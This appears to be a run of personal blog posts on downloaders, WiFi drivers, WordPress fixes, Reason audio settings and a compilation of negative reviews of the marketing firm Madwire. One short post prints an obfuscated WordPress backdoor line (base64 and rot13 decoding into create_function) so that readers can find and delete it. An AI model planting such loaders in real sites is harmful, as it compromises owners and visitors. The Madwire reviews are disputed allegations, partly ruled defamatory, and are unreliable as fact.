ClipGrab – Free Utility – Downloads YouTube Video/Audio – No Bullshit

ClipGrab downloads assets (audio and video) from youtube (and other services, but I haven’t tried others yet). If you use it, please donate to the dude that made it.

I’m working on a project that invloves sampling corporate industrial videos from YouTube. I used to use KeepVid for downloading YouTube files, but it doesn’t really work anymore, or at least, it sucks now and requires jumping through hoops to get working. Sorry, KeepVid :(

I was about to give up and use my machine’s headphone jack to send audio to another device to record, but I really didn’t want to do that because of the potential loss in quality caused by two additional stages of digital/analog conversion, not to mention the fact that doing it that way is a real-time process.

After hours of searching and trying tons of sucky browser extensions, hoping to find a KeepVid alternative, I finally found something that works. Thank you, ClipGrab! I was getting so frustrated.

ClipGrab is an app, not a browser extension. I’m using a Mac with El Capitan atm, but there are also versions for Windows & Linux, as well as Mac OS Lion, Mountain Lion, and ‘older versions of Mac OS,’ which I assume means you can use ClipGrab to download Youtube files even with an older Mac running Snow Leopard! (I’ll try it on my old mac soon).

 

How to use ClipGrab:

After installation, you just paste in a URL where the video you’re after is. Then select which assets you want to download and the version (quality).

Some notes borrowed from the ClipGrab FAQ about supported video sites:

YouTube – Videos can be downloaded in HD (1080p und 720p) as well as in standard definition (480p, 360p and 240p).Additionally, ClipGrab provides an integrated and easy-to-use search function for YouTube videos.

Vimeo – Vimeo is another popular video platform, specializing in high-quality and artistic videos.
Vimeo is always featuring amazing videos and also offers a big selection of Creative Commons videos. From Vimeo, videos can be downloaded in HD or standard definition.

Dailymotion – Dailymotion is another video website with top-tier support by ClipGrab. Videos from Dailymotion can be downloaded in HD, high and low quality standard definition.

Facebook – The widely popular social network is becoming and ever more important platform for sharing videos. You can easily download Facebook videos including private ones with ClipGrab.

Other sites – If a site isn’t “officially” supported by ClipGrab, you might still be able to download videos from it. Through an advanced video-recognition system, ClipGrab allows the download from thousands of websites even if they are not listed

You should definitely donate to ClipGrab if you canNot only is this the most hassle free way I have found to download audio and video from YouTube and other sites, but the ClipGrab website is also super clean and friendly with no popups, ads, or other bullshit. Just download the app and you’re on you’re way. You can donate any amount via PayPal or Bitcoin.

ClipGrab is so rad, I’ve given it “Keep in Dock” status, which is one of the highest honors an application gets around here –The equivelant of Knighthood for an app. I dub thee Sir ClipGrab :)

The Best Ecommerce Solution for Artists

Crowdfunding is an obvious need for undiscovered artists and creative type people.  It’s hard to put musicians, photographers and software developers in the same box, but when it comes to E-commerce, there are some obvious common threads.

There are projects that us small time creators just can’t do without a garuntee of cost offset.  If we know we have a certain amount of support from our community, we can do bigger and better things!

Crowdfunding is growing in popularity, and since I am a long-time supporter of the democratization of virtually everything, I have always been interested in trends related to crowdfunding and other non-gatekeeper models.

I recently experimented with selling an album (mp3 320) via a common WordPress ecommerce plugin, and was trying to make the transaction pay-what-you-want, but I had a hard time editing the checkout process.  It was just really hard for me to find where in the plugin I was using to patch/hack the checkout form to do what I wanted:

  • Pay What You Want (even nothing)
  • Collect emails
  • Gracefully redirect back to my site (from PayPal or other payment gateway) after opting to pay (One of the biggest problems I had is dealing with payments of $0, because the forms for ecommerce usually assume a value, and redirection happens after purchase… but then, what about the email collection and redirection to a thanks page?!)

The real value to me here is the email address, not the payment, which I can only expect to be a few bucks here and there at this point, since I’m not super famous (yet).  But building a fan-base, if I can do that, is very valuable.

What I’d like to be able to do is easily set up, both things for sale, like mp3’s, and also, take pre-orders for things I’m working on. It’d be great if people like myself had an easy way to paywall content or allow paid subscriptions to certain pages or downloads on my site. And it’d be very cool if I had crowdfunding abilities.  As far as I know, this is not an open-source or turnkey possibility. But stay optimistic!  Things are moving fast in these spaces.

I hope all this stuff gets easier for Creatives soon.  Let’s overthrow that gatekeeper legacy we hate so much!

I will do my best to update this if I get new info!  Comments welcome as usual.

 

 

SOLUTION/DOWNLOAD: Tiny CD for Dragon 50Mbps Wireless N Nano USB Adapter

Dragon ® 150Mbps Wireless N Nano USB Adapter_Yes, this page is probably going to finally let you get your cheap USB Wifi Adaptor working!

…You’re welcome! :)

I bought the Dragon ® 150Mbps Wireless N Nano USB Adapter from Amazon and couldn’t get it to work with my macbook because of the slot-loading drive.

After googling around, I found a lot of people talking about where to download the driver but after about a hundred cycles of download, install, uninstall, I decided to get MacGyver on this.

I actually cut out an adapter for small cd to full size using a dremel tool. Doesn’t look pretty but it worked. So for anyone not willing to risk putting garbage in their optical drive like I was, here’s the software from that CD. Enjoy.  Just be sure to uninstal the last versions you installed that didnt work.

http://andrewapeterson.com/freebies/RTL8188EU (new driver).zip

Apparently a lof these little wifi dongles work using the same part, a realtek chip.

So this may even work for similar inexpensive USB Network Adaptors. The mini CD that came with mine reads: Wireless-N USB Adaptor. RTL8188_RTL8192. The Disk contained two folders but I zipped and uploaded the one that wasnt called “old driver.”   It contains drivers for Windows, Mac and Linux.

mini cd to full size adaptor
I took one of the plastic protecter disks from the bottom of a stack of CDs and, using my fat finger to line up the center holes, I traced the little disk. Then I cut out the circle with a dremel tool. Sanded off all the burrs and did a little fine tuning with an exacto knife. Then I minimally taped the two disks together.

 

fix: Shortcodes in NextGen Descriptions, Simple PayPal Shopping Cart

NOTE: this will probably work to use shortcodes for any plugin or theme within NextGen Image Descriptions, but this does not make the shortcodes get parsed and work in the lightbox effects. Also, you’ll have to put the gallery template file somewhere where it works. I couldn’t get it to work in my theme’s folder. So this post has it in a plugin’s folder, but you may not be using that plugin (although I guess you could install it, just for the shortcode-enabling bit)

Link to modified gallery-wp-cart.php file which should be used to overwrite the version in /plugins/wordpress-simple-paypal-shopping-cart/lib/.

This was a NIGHTMARE for me to figure out. After some recent software updates, probably most notably, Nextgen Gallery’s big v2 update, my client’s descriptions disappeared from the lightbox effect.

We had things set up so that each image in a gallery represents a product.  Underneath each thumbnail in the gallery is an “add to cart” button created with WordPress Simple Paypal Shopping Cart Plugin. This was done by adding the following syntax to each image’s description in “Manage Galleries:”

Visible human-readable description is here followed by human-friendly price, followed by shortcode contained within SPAN so I could selectively hide the shorcode. $20<span class=”cart”>[(remove this)wp_cart_button name=”Product Name” price=”20.00″(remove this too)]</span>

Then with CSS, captions were hidden from thumbnail view, buttons were un-hidden and styled for thumbnail veiw, lightbox captions were styled and lightbox shortcodes (which just display as the shortcodes, a challenge I’m not up to night now) were hidden via the span.

It worked fine, but after some site maintenance, shit went crazy.  Captions disappeared.  The closest I could get to getting things back was to use “template=caption”  in a legacy Nextgen shortcode, but this did not allow the Cart Buttons to be parsed and render as buttons.

Nextgen says on their site that you can create new gallery templates by adding them to your active theme.  While this may be the case, it wasn’t working for me.

I noticed, by the way, that that span id=”lightbox-image-details-caption” now had style=”display: none; and the span that previously contained the caption was now empty :(

I think having gallery-wp-cart.php in two places (the theme and the plugin) favors the plugin over the theme.  And anyway, the file that came with WordPress Simple Paypal Shopping Cart is out of date, at least as of writing this, 2014-09-28.

So after spinning my wheels for hours and hours, I finally created a hybrid of gallery-caption.php (from nextgen) and gallery-wp-cart.php (from WordPress Simple Paypal Shopping Cart). Link is below and above (zipped file). I used this to replace the plugin’s version.  Of course, this will get overwritten when there’s an update to the plugin.

If you are going to try to use my solution, and you’re working for someone else, I recommend, at the very least editing the cart plugin’s description  to contain a warning not to auto update (in wp_shopping_cart.php).

Here’s the Gallery Template file I made.

 

Reason 4: Tempo Map causes Reason notes to not sound or be Altered: Velocity/Sustain/Decay

[this is a copy of what I posted the Propellerhead Reason Forum.]

When Reason is slaved to a DAW (tried multiple DAWS), and there is a tempo map in the DAW’s Conductor Track, some Reason notes either do not not sound or sound with decreased velocity or with changed Amp Decay or Sustain.

 

I seem to be able to make them sound by moving the notes later than right at the beginning of the measure/beat.  But I have to move them as much as 23 units (frames or whatever the thousandths portion of the position indicator represents)…

 

But this obviously has an effect on the feel of the track, particularly obvious with bass voices.

 

To re-create the problem:

create a tempo map in a DAW that is rewire master… Have the tempo jump around from very slow tempos, like around 55bpm to faster tempos like 90bpm. Draw quantized notes in reason.

 

I know for certain this effects the Combinator patch called ‘Bass Player’ and the Subtractor patch called ‘Groove to This,’ but I’ve experienced this with other patches as well.

 

I’m running Digital Performer 8 and Reason 4 in 48kHz.

 

Things I’ve tried:

Switching DAWs (to Reaper)

Changing DAW Buffer Size and “host multiplier” buffer settings.

Changing Reason’s Default Sample Rate

Changing Reason’s Default Buffer Size

Restarting Programs

Repairing Disk Permissions.

Manually drawing a copy of DAW’s Tempo Map into Reason’s Transport Automation Lane while not rewired.

Moving notes later (seems to work, but not an acceptable solution)

[update] Tried moving to 44.1kHz… no dice

Revisiting Microformats/Semantic Web for Future Prediction Info

What if the content/facts of all wikipedia articles were semantically linked by a prediction modeling application?

Of course all of this linking would need to be done by the community. But I have a great deal of faith in the wikipedia community.

All that really needs to happen is for links in sentences that contain dates like “2054” or “June 11” or “05, 21, 1976″ to be declared as being a prediction, fact, speculation (or other specs) Etc (for now, via a rel=”prediction” or time=”Etc” type of thing) (I think it would have to work along with/within human language syntax for now, because I doubt people want to qualify every word they write with semantic markup, but to require lines that contain a date to have some rules isn’t too crazy)

Another piece is needed to tie in the actual information, but it could just be a link to the actual article in which it appears, which isn’t necessary because that’s where it’s coming from.  It’s a start.

In other words, “Show me predictions for 2054 based on wikipedia info” could give you articles that contain predictions for 2054. And you can easily get to those articles from the results.  Not as granular as “linked data” should be, but right now, the web is basically all about making it easier to look at selfies and bad journalism.

I think this could have a lot of research power.

Reason Fader Level in dB 100=0dB so what is -3dB Etc? The Answer?

Been frustrated that Propellerhead Reason’s Meters and Faders do not use the standard dB measurement.  Instead the faders are just 0-127 (likely an artifact of MIDI), and the meters are just color-coded.

The following is something I found here after some digging.  It wasn’t easy to find so I’m re-posting it here.  This is plagiarism.  But I’m stealing bread to feed you hungry fellow frustrated and confused music producers out there.

I haven’t completely fact-checked this.  I’ll update in the next  few weeks if I find this info to be inaccurate.

[begin plagiarism]

WARNING: too much information mode = ON
(do I have a lot of time on my hands or what?!?)

Mixer Faders (and Master Fader) are Unity at 100 (or -7dB from clipping)

Mixer Fader (1-127) levels to dB:
127 = 0dB
123 = -1dB
119 = -2dB
115 = -3dB
111 = -4dB
106 = -5dB
104 = -6dB
100 = -7dB
97 = -8dB
93 = -9dB
83 = -12dB
72 = -15dB
64 = -18dB

What’s weird is that the NN-19 sampler levels don’t match these. They are:
127 = 0dB
123 = -3dB
112 = -6dB
100 = -9dB

Mixer Sends are Unity at:
Mono send = 79
Stereo send = 100
(since sereo aux sends follow channel panning, when panned hard left or right unity is at a send level of 79)

Mixer Meters: (from top to bottom)
(all levels rounded to nearest 0.5dB)
Top ‘LED’ (orange) = -1dB
2nd (orange) = -3.5dB
3rd (orange) = -6.0dB
4th (orange) = -8.5dB
5th (yellow) = -10.5dB
6th (yellow) = -13.0dB
7th (yellow) = -15.5dB
8th (yellow) = -17.5dB
9th (green) = -20.0dB
10th (green) = -22.5dB
11th (green) = -25.0dB
12th (green) = -27.3dB
13th (green) = -29.5dB
14th (green) = -32.0dB
15th (green) = -34.5dB
16th (green) = -36.5dB
17th (green) = -38.5dB
18th (green) = -41.5dB
19th (green) = -44.0dB
20th (green) = -45.5dB

A New-ish WordPress Hack

DELETE anything that looks like the below from all your theme files.

$z=get_option(“_transient_feed_fbc2353992919b11fc48934d3e55bd94″); $z=base64_decode(str_rot13($z)); if(strpos($z,”95A5440F”)!==false){ $_z=create_function(“”,$z); @$_z(); }

 

 

cForms Character Limit/Counter (without the REGEX thing)

I got quite frustrated trying to find a way to use the regex method of limiting the number of characters in a ‘multiple lines of text’ textarea in cFormsII, and I did not want to bother the awesome people that maintain the cForms homepage, cuz they get harassed enough so I went another route: jQuery.

The main problems I was having was no character count/limit, no way to insert additional HTML into the form and for some reason, when the form field contained the REGEX limit (the normal cForms recommended way), it was causing the form to not allow re-submit after a failed submit.

jQuery is awesome for stuff like this.  I added a script to my footer, next to <?php wp-footer(); ?>, in other words, right before </body>… Also, of course the whole thing needs to be contained inside of <script type=”text/javascript”>and</script> and your site needs to have already loaded jquery.js, probably in the <head> (what site doesn’t these days)

 //this first part ads an additional span, with the class 'remain', colored blue, right before the form field label,
 // which says the max characters allowed... Your selector will most likely be something other than #li--10
 jQuery( '#li--10>label' ).append( '<br><span class="remain" style="color:blue;">200</span> <span>characters remaining</span>');
 // this part counts and limits the characters
 // notice my selector is for an element with id="#cf_field_10" ...Yours will likely be different
 jQuery('#cf_field_10').keyup(function () {
 // the maximum characters you want to allow
 var maxchars = 200;
 var tlength = jQuery(this).val().length;
 jQuery(this).val(jQuery(this).val().substring(0, maxchars));
 var tlength = jQuery(this).val().length;
 remain = maxchars - parseInt(tlength);
// this final part rewrites the contents of the span.remain to how many characters are remaining as the user types
// Again, the selecter needs to be changed to fit your needs
 jQuery('#li--10>label>span.remain').text(remain);
});

 

NOTE
I may have messed up with my commenting syntax so I’ll paste the whole thing uninterrupted below.

Also, obviously, you have to be dead-on with your class/id selectors.

jQuery( '#li--10>label' ).append( '<br><span class="remain" style="color:blue;">200</span> <span>characters remaining</span>');
 jQuery('#cf_field_10').keyup(function () {
 var maxchars = 200;
 var tlength = jQuery(this).val().length;
 jQuery(this).val(jQuery(this).val().substring(0, maxchars));
 var tlength = jQuery(this).val().length;
 remain = maxchars - parseInt(tlength);
 jQuery('#li--10>label>span.remain').text(remain);
 });

WARNING: MADWire Media, MADWire 360: Behind the veil of SEO and Astroturf

To Bluehost staff and legal dept., please look closely at the specifics of any court orders before assuming that this content is actually not compliant with any documents sent by parties wishing to have this content removed from the web. I have carefully complied, line-by-line with all rulings. Thanks.
Jump to the Madwire 360/Marketing 360 Review Compilation below ↓↓

I’m back! And I’m in total compliance. :)
UPDATE 2015-02-08: So apparently, Madwire was able to get my entire hosting account taken down with a court order resulting from a defamation claim. But this post will return, albeit slightly altered to protect my hosting account from being shut down again.
In the meantime, the court ruling contains all the content in question, including all the Madwire Reviews and Madwire Complaints and there’s a copy of it here: http://cvweb.clerk.leon.fl.us/cvimage/official_records/download_document.asp?book=4729&page=01970&type=OR&jwuser=&subnet= (it takes a few minutes to load because it’s around 6MB and 60 pages)
Also, notice: the Affidavit of Diligent Search, mentioned on page 2, is conspicuously missing from the evidence. I wonder if that was an accident. I think not.
To Madwire: just let it slide! Everytime I update the content here, I move up in search results! It’s called the Streisand Effect: http://en.wikipedia.org/wiki/Streisand_effect
And frankly, I’m sick of this post and having to keep changing it after account suspensions (I think this the 4th time!). But I wont go dark. It’s a matter of principle.
To anyone wishing to read my post as it appeared in December of 2014, including the comments, it’s stored at the WayBack Machine: https://web.archive.org/web/20141208100043/http://andrewapeterson.com/2013/12/warning-madwire-media-madwire-360-behind-the-veil-of-seo-and-astroturf
NOPE! this has been taken down :)
Meanwhile, I must disable comments on this post for the moment, while I remove some content ruled by a Florida court to be defamatory.
[2015-02-25: COMMENTS ARE BACK!]
But feel free to send me a message via my contact form: http://andrewapeterson.com/contact
When you see XXXXX stuff, it’s words I needed to delete from the below content in order to be compliant with the court order.

[update 2015-01-11] I heard through the internet that Madwire is no longer using a non-disparagement bit in their standard contract.  This is good news if it’s true, but I have no way of knowing for sure if it is true.  So if you have any info on this, please comment!  This post is here to help other people.  So if you can help me keep the info up to date, since I have great SEO power concerning Madwire, you will help other people.  Please do comment. Is this real? It’s a link about madwire’s change of policy. Thanks, everyone, for contributing. We may be making a difference here!

[update 2014-09-26] Madwire has appeared to have filed, in a Florida court, a “Complaint for Declaratory Judgement,” against an anonymous person whom, according to the document, HERE (a PDF) is one of my my commenters below. This appears to be a way that Madwire can get Google and other search engines to un-index this blog post, Madwire’s Yelp! page and a few other search results where this anonymous person has posted.  So apparently, one of my commenters is the defendant known as “John Doe 1” in the filing (Madwire is referred to as the “Plaintiff”).  And I just noticed that Madwire’s Yelp! page suddenly has a meta noindex tag (<meta name=”robots” content=”noindex”>) on it and no longer comes up in Google search results for ‘Madwire Reviews.’ So I guess Yelp! is cooperating with Madwire for whatever reason.  I’ve always had pretty positive feelings about Yelp! despite all the recent negative hype about them, but if they’re willing to hide negative reviews, it certainly decreases their value as a consumer awareness product.  Also, I was assuming that at some point Madwire would contact me or at least post a comment on this post, but so far it appears that they’d rather try to control their reputation through back channels.  Interesting.  To Madwire: I know you guys are looking at this.  Don’t you have anything to say?

[update 2014-06-14:] My site has been taken down again over this post. This time it was ripoffreport.com that sent my hosting company a DMCA Takedown.  Their claim is that my ‘fair use’ quotation of negative Madwire reviews from their site (which contained attribution) was a copyright infringement!  So I had to remove several negative reviews/stories concerning madwire.  To the next reviews site considering sending a takedown or threat: you are only making this post more visible! Every time it’s edited/updated, it gains value in google serps.

[edit 2014-05-07:]Pissed Consumer sent my hosting company a DMCA takedown notice for this post, due to me quoting negative reviews for Madwire. I’m pretty sure this post is fair use, but my hosting company wont stick up for me  so I had to delete the pissedconsumer reviews in order to get my site back online.  I’ve linked to the originals.  Keep in mind, original bad reviews on pissedconsumer.com are often hidden on the page  and you have to click ‘read the complaint’ to see what you’re looking for.

Original post starts here.

The other day I posted about a friend’s personal experience with MADWIRE, which was horrible to say the least.

I’ve become kind of fascinated by how well this company appears to have created a facade of positive reviews and press, making them seem like a great company to hire.

It’s actually quite difficult to find anyone out there saying anything bad about them, which is a bit suspicious (even the companies I love the best are getting flamed occasionally).  So I’ve been doing some deep googling and I’ve found a lot of stuff that not only sounds more credible and like real people wrote it, but that’s also totally consistent with my experience.

So let the SEO battle begin!  I have great Google mojo with my blog.  And my goal here is to make the world-wide neighborhood a better, safer place.  So here is a compilation of what I’ve found about Madwire that may not be so easy for most people to find, since the search results for things like “madwire reviews” and even “madwire negative reviews” are so cluttered with astroturf.

From the Better Business Bureau:

Complaint #1: 10/10/2013

Complaint: We paid for two months of Search Engine Optimization & AdWords for our company website through Madwire Media. We never reached the top of the search engines, we received 1 potential customer who filled out our “Contact Us” form, that was it. We paid $750 a month for a total of $1450.00 plus Madwire has tried to pull more money out of our account without authorization. They have added all these additional fees and now are threatening to take us to collections. They promised us a “free” website, they put it up for us but once we cancelled our marketing through them, they posted our website as “ACCOUNT SUSPENDED” which reflected horribly and lost us potential customers from consumers that were directed to our site through our own advertising means. We called them and asked them to put the website back up but they said they wouldn’t unless we paid for the hosting through them but it was a ridiculous amount. The website was supposed to belong to us but they wouldn’t give it to us without paying for their hosting (we already have hosting through someone else). We were offered so much and received nothing but headaches.

Desired Settlement: My desired settlement would be a refund of all money paid, $1450. They didn’t deliver on ANY of their promises. They said we would be on the top of the internet searches, which didn’t happen.Also, we didn’t get to keep the website. We were much better off than before we ever started with Madwire. From what I have read on the internet, we are not the only company that Madwire has scammed. Since internet marketing is so vague, they are able to take advantage of many consumers.

Business Response: Attached is the contract for reference and a receipt of refund. I talked with the client about the contract and services that we provided. We have already made a refund in the amount of $720.00 and we are not moving forward with collections on the remaining part of the contract.

Business Response: An email was sent to ‘*********************’ on 8/21 outlining the details of the contract as well as additional. Also an email was forwarded to ****************** on 8/23.

Consumer Response: Complaint: *******

I am rejecting this response because: they did NOT give me a refund, they just didn’t charge me after I cancelled my account. It’s not that I MISUNDERSTOOD anything (like Jerry’s letter refers), it is that they are rude, did nothing with all the money we gave them and used our “credits” on what? We don’t know! They are a scam and I am demanding full refund. I will keep  on warning other potential customers  about their misdeeds b/c no one deserves to lose $1500 on absolutely nothing, especially when you are a small business, like us.

Regards,

******** ******

Business Response:
That should do it. One is the contract which speaks to what the consumer was complaining about. All of the information is in there. And the other is an invoice for a refund. This client signed 6 month contract to which we were going to send to collections for early cancellation 2 months in on the contract. Upon receiving the email they filed a complaint with the BBB. In addition we invested $3K dollars of time on a website as part of the agreement. Outlined within the contract it talks about early cancellation with the option of hosting. They disregarded all emails. We took the site down that we own for nonpayment. Not only did we not pursue collections for breach of contract after speaking with ******** we also gave them a refund. It is unfortunate how this process works.

15 Day Collection Letter sent 7/31/13
30 Day Collection Letter sent 8/15/2013

If you have any other questions please feel free to reach out to me.

Thanks.

BBB’s Final Determination: Business offered a resolution. Consumer did not pursue further with BBB and the matter was assumed to be resolved

Complaint #2: 9/16/2013

Complaint: In June of 2013, Madwire Media Reviews contacted me and performed high pressure sales tactics to get me to sign a contract with them. They asked me to give them a large sum of money to start the campaign, which included web design, marketing, seo, and pay per click ads. They made all kinds of promises to which they were not able to hold up to. They promised a good web design and I get a mediocre, at best, design. Their site is beautiful and they said mine would be similar. They lied. They also told me that I would have 100% control of my website and be able to host it on my own server. Another lie. They have control of my website and I can’t make changes because I can’t access the backend. Madwire Media promised me 15-20 calls per day, based on my budget and the keywords targeting for my niche. Another lie. My campaign has been running for over two months and I have received two calls in that time period. Once call I actually booked the job, a $60 job, 45 miles out of my territory. I did the job anyway because my business, my name, and my reputation are at stake. They filled me full of their lies and promises in order to get me sign a contract and give them my payment info. I have done one job in the two months since my campaign started with Madwire Media and when I asked for a refund, they refused. They are not familiar with my industry and are targeting the wrong keywords that aren’t remotely targeted to my industry and they are charging me a premium rate and expect me to keep paying them $2500 per month for services NOT rendered. This fraudulent company needs to be exposed for who they are.

Desired Settlement: I want 100% of my money back. In my business, if a customer is not happy with the work, I redo it for free. If they are still not happy, I refund their money because my reputation is at stake. They promised me I could get my money back yet they refused to refund it when I asked.

BBB’s Final Determination: Consumer accepted resolution offered by the business.

Complaint #3: 9/5/2013

Complaint: I was told that there was NO contracts by several people, several different times before starting my marketing and web design with Madwire Media. **** ******** and ******* ***** both had stated that there is no contracts, until we no longer wanted to use there services after three months of very poor results and NO service. They told us one thing and had us sign documents that were supposedly forms that gave them permission to edit and change our current webpage, little did we know in the small print they lock you into a 6 month contract. This is the most dishonest and rude company that I have ever come across. We would like this matter resolved before we have to hand things over to our lawyers. Please Advise

Desired Settlement: I would like this to be resolved quickly and professionally, I would like for the remaining time and money in our contract to be wiped clear and the harassing phone calls and emails to STOP. I cant believe that there are companies out there like this that LIE and DECIEVE people to make a living.

Business Response: I spoke with ****** and addressed the concerns over the contract and client was satisfied.

BBB’s Final Determination: Business offered a resolution. Consumer did not pursue further with BBB and the matter was assumed to be resolved

Now on to Yelp! where MADWire currently has ONLY negative reviews [2014-10-07: this has changed. Now Madwire has one star on yelp but yelp appears to have cooperated with Madwire in burrying their page. Yelp put a noindex tag on Madwire’s one-star page so it wont show up in search results]:

Patty S.
Fort Collins, CO

Patty S.
7/15/2013
Just the fact that another reviewer is saying “I’ don’t know what this guy is talking about” and then you can’t find that review gives you an indication of how many people are not happy with XXXX XXXXXXX XXXX XXXXXXXXXXXX XXX XXXXXXXXXXXXXX XXX XXX XXXX. Once they have your XXXXXX XXXX – XXX XXX XXXXXXXX XX X XXXXXXX XXXXX. XXX XXXXX XXXX XXXXX XXXXXXXX XX XXXXXX XXXXXXX. it is nice looking with great images and graphics but no one can find it. XXXX XXXX X XXXX XXXX XXXXX XXXXXXXXXXXXX XXXXXX XXXXX XXXXXX XXX…..and i suspect many bad reviews have been deleted here because they are misssing from here…….what does that tell you? Yelp took money to get those taken off…….hmmm let’s see how long this review lasts….

Comment from Jerry K. of Madwire Media
Business Owner 8/28/2013 I can’t find your account as doing business with us. Please contact me so that I can take care of… Read more

Joe S.
Huntington Beach, CAJoe S.
4/30/2014
Damn I just spent 20 minutes on the phone with Marketing 360 the salesman had all the answers and only wanted $ 2500.00 per month to start? But promised first page placement so I just goggled SEO companies in Denver and guess what there not even on the first page! So I inform the salesman of my search result and he informs me that there parent company in Madwire Media and sure enough they show-up on the 2nd page with all these wonderful Yelp reviews.

Looks like Yelp really saved me time and money, Thanks

A’ngela S.
Gilbert, AZ
hare review
A’ngela S.
12/2/2013
BUYER BEWARE!!! I am not kidding you, if you choose to use MadWire360 or Mad wire media or whatever they go by (hint it will have 360 in it somewhere) You are XXXXXXXXX XXXXX XXXXX XX XXX XXXX!! They know how to market their site and unfortunately the talent ends there.. After they smooth talk you into their wonderful service and pass you off to some “Specialist” SEO person, you become just another credit card paying their overpriced fees.. I was with them 3 months and not one lead!!! i spent over 7k and got zip from it!! All i can say is stay away and remember, Pay per click is cheaper than these guys and SEO just means blog on your own site!! Save your cash…

Good Luck
AZ. UnHappy Sucker..

Randy W.
Houston, TX
hare review
Randy W.
5/1/2014
STOP!! DON’T USE THIS COMPANY!!! I don’t want anybody to have to go through what I went through. Bottom line. This company will take your money & never do the service. XXXXXXXXX. XXXX XXXXXXXXXXXXX. Can’t created a logo or design. They always want money up front. Don’t ever pay anybody up front. This company is all about sales . The Company is XXXXXXXXXt, full of fast talking salesmen, very expensive and doesn’t deliver the product. BUYER BEWARE!!!!!!!

John G.
Fort Collins, COJohn G.
8/6/2013
When it comes to SEO it doesn’t get much worse than MadWire Media! XXXX XXX XX XXX XXXX XXXX XXXXXXX XXXXX XXXXXXXX XX XXXX XXX XXXXXXX XXXX XXXXXXXX XX XXXXXXXXXX. Not only that, I had previously left a review on their Google listing along with close to 10 other dissatisfied customers and their listing has seemed to magically disappear along with all of the negative reviews. They obviously try their hardest to hide how bad they suck. I couldn’t seem to find any other SEO companies that had to do such things. These guys are bottom of the barrel! They provide unnecessary services and XXXX XXXXXXXXXXX XXXXXXXXXXXXX or they just don’t care about their clients. Whichever it is, it would be wise to steer clear of this company.

[REDACTED]

Comment from Jerry K. of Madwire Media
Business Owner 2/26/2014 FAKE REVIEW! John Gotti is deceased. This is not a customer nor have we ever done business with John… Read more

Charles D.
Junction City, ORCharles D.
9/21/2013
Just when I thought all my issues with Madwire were well behind, I got rid of them over a year ago, they recently started billing my card for someone else’s website! It’s pretty scary that they have kept my credit card information on file well over a year after firing them. Not only that, the billing information is now completely different from when we used them, so obviously they don’t even bother with AVS. I guess why would you bother when I’m pretty sure keeping actively old clients’ card info on file if probably illegal and definitely unethical. The fact that they are so XXXXXXXXXXX that they start to bill me instead of a competitor’s account is absolutely ridiculous.

Originally we had Madwire design a logo, website, and manage some seo work. Problems started from the start. They could never get the logo right and I ended up having to hire someone else to provide custom artwork to be used in the logo. For the amount I was paying them for logo design I expected custom and original work. What I received was below par with no effort or creativity behind it. It was as if I hired one of the $4 an hour guys off oDesk but at 20 times the cost.

Now when it came to the website I was already pretty leary of them from the logo design part of the package. The beginning part of the web design was a complete nightmare. The project manager wouldn’t even respond to my requests or questions. I had to contact the supervisor and complain. I was assigned a new project manager to take over the design, or lack thereof. As a side note, the previous project manager is still employed there. The new project manager handled everything much better, however they really pumped the site out quickly due to the job being way behind and there were little errors I had to pester them about to get fixed.

The next disaster came their SEO package. When we signed up for all of this work to be done it was actually an SEO package. When the site was up and running they said they no longer do that and it is now a Madnoodle package where you are listed and gift cards go up for penny auction. Now, SEO-wise this did nothing for our website. This really didn’t even help sales either. We would pay them, they would buy these gift cards from us to post on their Madnoodle site, and then customers would use the gift cards to buy products on our site. It was usually the same people who would buy these gift cards so no new customers were being attracted. Plus these same customers haven’t returned after using these gift cards that we basically bought for them. I should also note the penny auctions were a giant fail and they no longer do this.

My advice is to steer clear of this company. If you don’t you will definitely regret it! Just when I thought all our problems with them were over with… Hope you enjoy the chargeback fees!

Edit 2/14/14: These jerks still have not completely removed my information! I still get invoice emails monthly for their crappy plugins I don’t use. Granted, the invoices are for $0.00, but just stop! I’ve already asked for our information to be completely removed but of course they can’t comply.

To touch on the management responses on some of these reviews (Boo hoo hoo Yelp is being mean to us, these reviews are fake, blah, blah blah). How about you actually listen and fix your company instead of complaining? These negative reviews are sticking because more negatives come from real Yelp accounts, compared to the many positives that are from accounts who have only reviewed Madwire and then never logged in again. Which ones do you think look fake to Yelp? Oh, and just because someone has a fake name doesn’t mean their review is fake either.

Holli W.
Charlotte, NCHolli W.
1/24/2014
Worst business decision I’ve ever made. DO NOT USE THEM! They will sell you and do a great job selling you. XX XX XXX XXXX. They are hard to work with, never responding, never making changes. It took WEEKS for them to make ONE small edit. They say they will create banners for your website, they are ugly and horrible. I even sent them pictures of what I liked. I finally had to pay someone to do it right. So much money wasted.

Comment from Jerry K. of Madwire Media
Business Owner 2/26/2014 I can’t find your account as doing business with us. Please contact me so that I can take care of… Read more

Ekaterina B.
San Jose, CAEkaterina B.
10/17/2013
I agree with the review that said “$5,000, and not a single client.” This is how I felt when I was using this company. It is true that they XXXXXXXXXXX XXX XXXXXXXXXXXX. When I finally questioned them why I only got ONE client in 3 months, they said “well, lets try another thing.” I am not paying for trial and error. I pay them to know what they are doing. Horrible and XXXXXXXXX.

Michael G.
Brentwood, CA
hare review
Michael G.
5/10/2013
First to Review
Working with Madwire has been one of our companies biggest mistakes! It has been over a year and a half and we still do not have a finished product. We have gone through 3 programmers and it seems like they just keep wasting our marketing departments time. We spent a significant amount of money and expected a certain amount of service. They have not delivered. I would not recommend them to my worst enemy. The frustration has built up to the point where we want to jump ship and get our money back.Comment from Jerry K. of Madwire Media
Business Owner 2/26/2014 Please contact me so that I can take care of the situation. I can’t find your account as doing… Read more

From truckmountforums.com (apparently madwire’s sales team targets people’s carpet cleaning business?)

9/12/2013

Attention fellow carpet cleaners. I am posting this to warn everyone of a XXXX being pulled by Madwire Media. I posted a while back, asking if anyone had any experience with them. I didn’t receive very much info so I assumed they were legit. I should have done more research and I didn’t, and now I’m paying for it. So, I am here to expose these XXXXXX and make sure none of you get XXXXXX XXX. Please watch my videos, subscribe, and share so that we can expose these XXXXXX and hopefully prevent anyone else from making the same mistake I did and losing their entire business to XXXXXXXXXXXX XXX XXXXXXXXX companies like Madwire Media. I will not stand idly by as they XXX people off and are not held accountable for it. In my business, if a customer is not happy with the work performed, I will redo it at no charge. If they are still not happy, I will refund their money. Why? Because my name, my business, and my reputation are at stake and I don’t want any of it tarnished over a few dollars. Madwire Media does not feel the same. They think it’s ok to XXXXX XXXX XXXXX XXXXXXXXXXXXXX. XXXX XXXXX XXX XX XX XXX, as long as you get the sale. Please, I ask all of you to help with my plight. I may go out of business before I get soon but if I do, I will take the ones responsible with me and I will make sure they can’t XXXXX XXXX XXXXXX XXXX. Please go to 